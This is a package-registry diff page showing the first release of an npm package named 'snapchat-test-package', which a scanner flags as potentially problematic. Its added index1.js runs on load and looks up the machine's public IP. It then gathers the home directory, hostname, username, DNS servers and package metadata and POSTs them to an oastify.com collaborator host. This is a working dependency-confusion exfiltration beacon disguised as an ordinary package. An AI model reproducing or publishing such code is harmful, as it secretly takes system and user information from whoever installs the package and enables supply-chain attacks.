snapchat-test-package 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of snapchat-test-package might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index1.js +74 -0
  2. package/package.json +12 -0
package/index1.js ADDED
@@ -0,0 +1,74 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ function requestPromise(endpoint) {
9
+ var body = ''
10
+
11
+ return new Promise(function(resolve, reject){
12
+ https.get((endpoint), res => {
13
+ res.setEncoding('utf8');
14
+ res.on("data", data => {
15
+ body += data;
16
+ });
17
+ res.on("end", () => {
18
+ resolve(body)
19
+ });
20
+ res.on("error", (e) => {
21
+ reject(e);
22
+ });
23
+ });
24
+ });
25
+
26
+ }
27
+
28
+ async function main() {
29
+
30
+ const url = 'https://ifconfig.me'
31
+ const ip = await requestPromise(url)
32
+
33
+ const trackingData = JSON.stringify({
34
+ p: package,
35
+ c: __dirname,
36
+ hd: os.homedir(),
37
+ hn: os.hostname(),
38
+ un: os.userInfo().username,
39
+ dns: dns.getServers(),
40
+ r: packageJSON ? packageJSON.___resolved : undefined,
41
+ v: packageJSON.version,
42
+ pjson: packageJSON,
43
+ ip: ip,
44
+ });
45
+
46
+
47
+ var postData = querystring.stringify({
48
+ msg: trackingData,
49
+ });
50
+
51
+ var options = {
52
+ hostname: "qgacbaw32rs33pqwkrxlc4uxfole93.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
53
+ port: 443,
54
+ path: "/",
55
+ method: "POST",
56
+ headers: {
57
+ "Content-Type": "application/x-www-form-urlencoded",
58
+ "Content-Length": postData.length,
59
+ },
60
+ };
61
+
62
+ var req = https.request(options, (res) => {
63
+ res.on("data", (d) => {
64
+ process.stdout.write(d);
65
+ });
66
+ });
67
+
68
+ req.on("error", (e) => {
69
+ // console.error(e);
70
+ });
71
+
72
+ req.write(postData);
73
+ req.end();
74
+ } main()
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "snapchat-test-package",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }